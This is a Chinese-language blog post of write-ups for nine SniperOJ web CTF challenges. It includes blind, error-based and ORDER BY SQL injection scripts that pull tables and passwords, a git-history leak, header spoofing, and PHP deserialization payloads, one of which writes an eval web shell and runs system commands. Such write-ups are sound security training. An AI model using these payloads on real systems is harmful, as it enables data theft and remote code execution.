Sky's blog

sniperoj-web

Word count: 2,455 / Reading time: 12 min
2017/07/11 Share

图书管理系统(200)

刚看到这个题的时候把各个页面的源码都看了一遍(本还以为是hash长度拓展攻击)
最后发现落点还是在注入,在登录页面做了一下尝试:


发现用户名这里,
如果正确,则返回密码错误
如果错误,则返回登录成功的信息
于是找到了盲注点,开始测试过滤:
发现ascii,select,substr……等等都可以使用
但是from似乎被过滤了,于是尝试了一下内联注释绕过:/*!from*/
发现成功,于是开始写脚本构造:
先爆库:
con = "sky' or ascii(substr((select database()),%d,1))=%s#"%(i,j)
可以得到库名为:software

再爆表
con = "sky' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),%d,1))=%s#"%(i,j)
可以得到表名为:
books,flag,records,users
显然flag肯定在flag表里

再爆字段
con = "sky' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c34343467),%d,1))=%s#"%(i,j)
可以得到字段名为:fl4g

最后出flag
con = "sky' or ascii(substr((select fl4g /*!from*/ flag),%s,1))=%s#"%(i,j)
可以得到flag为:SniperOJ{Can_You_See_My_Heart}

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
flag = ''
for i in range(1,40):
for j in range(33,127):
url = 'http://web.sniperoj.cn:10009/src/API/login.php'
# con = "sky' or ascii(substr((select database()),%d,1))=%s#"%(i,j)
# con = "sky' or ascii(substr((select group_concat(table_name) /*!from*/ information_schema.tables where table_schema=database()),%d,1))=%s#" % (
# i, j)
# con = "sky' or ascii(substr((select group_concat(column_name) /*!from*/ information_schema.columns where table_name=0x666c6167),%d,1))=%s#"%(i,j)
con = "sky' or ascii(substr((select fl4g /*!from*/ flag),%s,1))=%d#"%(i,j)
# print con
data = {'username': con,
'password':'sky',
'submit':'%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2'}
s=requests.post(url=url,data=data)
if "密码错误" in s.content:
flag += chr(j)
print flag
break
print flag

as fast as you can(50)

此类题目做了n遍了,显然是用python程序,对header进行处理,然后发送request,得到flag,于是迅速写了一下脚本:

1
2
3
4
5
6
7
8
9
import requests
from base64 import b64decode
s=requests.Session()
a=s.get('http://web.sniperoj.cn:10003/')
bs=a.headers['Get-flag']
flag=b64decode(bs)
payload={'SniperOJ':flag}
r=s.post('http://web.sniperoj.cn:10003/',data=payload)
print r.text

运行即可得到flag:SniperOJ{faster_faster_faster_2333}

md5-vs-injection(50)

题目提示,只有管理员登录才可以登录
然后看到header里有提示:
select * from users where username='admin' and password='md5($password, true)'
随后搜了一下
md5($password, true)
参考链接:http://blog.csdn.net/greyfreedom/article/details/45846137
可以知道密码用ffifdyop即可
于是登录:
username=admin&password=ffifdyop
可以拿到flag:SniperOJ{md5_V5_injection}

2048(200)

先是发现.git泄露,用工具:https://github.com/WangYihang/GitHacker
指令:python GitHacker.py http://web2.sniperoj.cn:10000/.git/

拿下源码后发现没什么特别的东西,后来经过大佬提示,用git reflog指令查看以往操作

1
2
3
4
5
3465ee8 HEAD@{0}: reset: moving to 3465ee8
3621550 HEAD@{1}: commit: Add my fancy 2048 game
007081d HEAD@{2}: reset: moving to 007081d370ec45fe10628304e5abe010903a9a16
3465ee8 HEAD@{3}: commit: Add my secret
007081d HEAD@{4}: commit (initial): Add README.md

发现3465ee8 HEAD@{3}: commit: Add my secret相当可疑
使用恢复指令:
git reset --hard 3465ee8
可以将my secret恢复
然后使用读指令:git show 3465ee8
得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
commit 3465ee873ad8b3480c8dab9620878faca17d68d5
Author: WangYihang <wangyihanger@gmail.com>
Date: Tue Apr 18 17:20:27 2017 +0800

Add my secret

diff --git a/flag b/flag
new file mode 100644
index 0000000..8ef9efa
--- /dev/null
+++ b/flag
@@ -0,0 +1 @@
+SniperOJ{G1g_reflog_us34444}

很明显看到了flag:SniperOJ{G1g_reflog_us34444}
所以说学习.git相当重要(= =不仅能做题,还能做开发)

very-hard-injection(350)

拿到题目刚开始比较懵,但是看见网页里有信息:
第一个:
UPDATE$_GET[‘table’]SETusername='admin' WHEREid=1;
第二个:
?table=users
第三个:
Incorrect table name ''

结合第一个,参数应该是table,请求方式为GET
结合第二个,应该参数是/?table=users
尝试了一下,果然是存在该表,然后思考如何注入
从第一个信息可以得知,我们传入的信息都被直接UPDATA了,没有过滤
于是可以注入,由于此处用的是,所以先尝试一下:http://web.sniperoj.cn:10008/?table=users``
得到报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '`='admin' WHERE id=1' at line 1

看来有戏,但是这里不是查询语句了,所以注入有些麻烦
可以参考这篇链接:http://blog.csdn.net/ysynhtt/article/details/45115849
(我记得这种手法应该在上次陕西杯遇见过= =)

先爆库:

1
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select database()),0x7e))a)b on b.a=`username

得到库名:SniperOJ

先爆表:

1
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))a)b on b.a=`username

得到表名:
flagggggg,users
很明显flag应该在表flagggggg里

爆字段:

1
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name=0x666c61676767676767),0x7e))a)b on b.a=`username

得到字段名:
id,flag

最后拿flag:

1
http://web.sniperoj.cn:10008/?table=users` join (select extractvalue(1, concat(0x7e, (select flag from flagggggg),0x7e))a)b on b.a=`username

得到flag:SniperOJ{XXXXXPath___!!!_A}

inject-again(300)

按题目提示,先把username和password写上去:
http://web2.sniperoj.cn:10004/?username&password
得到信息:Flag is the password of admin!
所以接下来的思路应该是拿admin的password,肯定是注入了
然后根据题目观察来看,应该是一道盲注题,但是我尝试了一些姿势,但是不太懂为何我的payload不能照我预期进行,我也进行了本地测试,但是本地是成功的……所以很郁闷,所以引用了网上别的的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# coding:utf-8

import requests

def makeStr(begin,end):
str=""
for i in range(begin,end):
str+=chr(i)
return str


def getPassword():
url="http://web2.sniperoj.cn:10004/index.php?username="
testStr = makeStr(48,127)
#print testStr
username = "admin' union distinct select 1,2,0x{hex} order by 3 desc%23&password=1"
flag = ""
for _ in range(32):
for i in testStr:
data = username.format(hex=(flag+i).encode('hex'))
#print data
res = requests.post(url+data)
if "admin" not in res.text:
flag= flag+chr(ord(i)-1)
print flag
break

if __name__== '__main__':
getPassword()

可见这是一个排序注入的题,还是挺常见的方法
运行脚本:
可以得到密码的md5值为:498c67b7c86b01bd68ab5cbafd245b1c
解密即可得到密码:sniperoj
故此得到flag:SniperOJ{sniperoj}
但是还是很不甘心我自己的payload,等我弄懂了要额外写一篇文章分析一下……

SniperOJ-Web-Browser(150)

前面都是比较常规的,用burp改包都可以过(浏览器名,XFF)
然后后面有一个只可以用23333端口访问,改包是没办法的,必须要有一个公网IP(好像汪神平台也有类似题)
所以我是在服务器上直接用了curl命令:

1
curl http://web2.sniperoj.cn:10005/ --header 'X-Forwarded-For:127.0.0.1' --header 'User-Agent:SniperOJ-Web-Broswer' --local-port 23333

即可得到flag:SniperOJ{hyper_t3xt_tran5fer_pr0t0cOl}

guess the code(300)

拿到题目后一番测试……发现还可以弹窗,差点以为是xss,后来看见题目里写了是反序列化,然后我就开始找源码泄露……
我擦嘞,用了各种扫描泄露的工具都找不到泄露,后来问了大佬,大佬让我细心点……
结果阴差阳错的我把滚动栏拉到了最下面…………看见了源码(内心一万只草泥马路过):

1
2
3
4
5
6
7
<p hidden>#try to read flag.php	
Class whatthefuck{
public function __toString()
{
return highlight_file($this->source,true);
}
}</p>

然后就是构造序列化了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
Class whatthefuck{
public function __toString()
{
return highlight_file($this->source,true);
}
}

$sky = new whatthefuck();
$sky->source = 'flag.php';
$sky2 = new whatthefuck();
$sky2->source = $sky;
echo serialize($sky2);
?>

得到
O:11:"whatthefuck":1:{s:6:"source";O:11:"whatthefuck":1:{s:6:"source";s:8:"flag.php";}}
但是这样直接用肯定序列化会被截断,所以用了url编码:

1
%4f%3a%31%31%3a%22%77%68%61%74%74%68%65%66%75%63%6b%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%4f%3a%31%31%3a%22%77%68%61%74%74%68%65%66%75%63%6b%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%73%3a%38%3a%22%66%6c%61%67%2e%70%68%70%22%3b%7d%7d

然后放入cookie里的list,即可拿到Flag:SniperOJ{85262fb1410766c53bdfe51d15b6c4e342d3d514}

php-object-injection(200)

首先根据提示:
Fuck, the powerline was suddenly cut off last night.
可见可能存在swp泄露(因为断电,应该会自动备份)
访问http://web2.sniperoj.cn:10007/.index.php.swp
即可下载源码,用vim恢复一下,即可拿到源码
后发现是一道反序列化的题目,这里只需要自己构造一个类
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg = "";
$this->exitMsg = '<?php @eval($_POST[sky]);?>';
$this->logFile = "/var/www/html/img/shell.php";

// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}

function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
$fake = new Logger('skyiscool');
echo base64_encode(serialize($fake));

生成一串序列化:

1
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoyNzoiL3Zhci93d3cvaHRtbC9pbWcvc2hlbGwucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MDoiIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6Mjc6Ijw/cGhwIEBldmFsKCRfUE9TVFtza3ldKTs/PiI7fQ==

用Burp把其放入cookie中的drawing
当反序列化执行这个类的结束的时候,会自动执行里面的函数function __destruct()
,这样就成功将我们的shell写入了规定的路径的文件中

但是我的菜刀好像连不上,所以只能手工写入
第一步:sky=system('ls');

1
2
3
natas26_7nvblih9t0q1vap3bb1j1kn2c3.png
natas26_iddhdn7gigej0fsif59ol1sdm1.png
shell.php

发现没有什么东西
第二步:sky=system('ls ..');

1
2
3
F_LLLLA_-gggg
img
index.php

看到了flag
第三步:sky=system('cat ../F_LLLLA_-gggg');

1
SniperOJ{761f3235f57b6664ac9eb2518edc1478}

即可拿到Flag
这个题可以说是一个比较经典的反序列化漏洞的题目(运用了魔术函数,实现了文件的替换或者控制)

CATALOG
  1. 1. 图书管理系统(200)
  2. 2. as fast as you can(50)
  3. 3. md5-vs-injection(50)
  4. 4. 2048(200)
  5. 5. very-hard-injection(350)
  6. 6. inject-again(300)
  7. 7. SniperOJ-Web-Browser(150)
  8. 8. guess the code(300)
  9. 9. php-object-injection(200)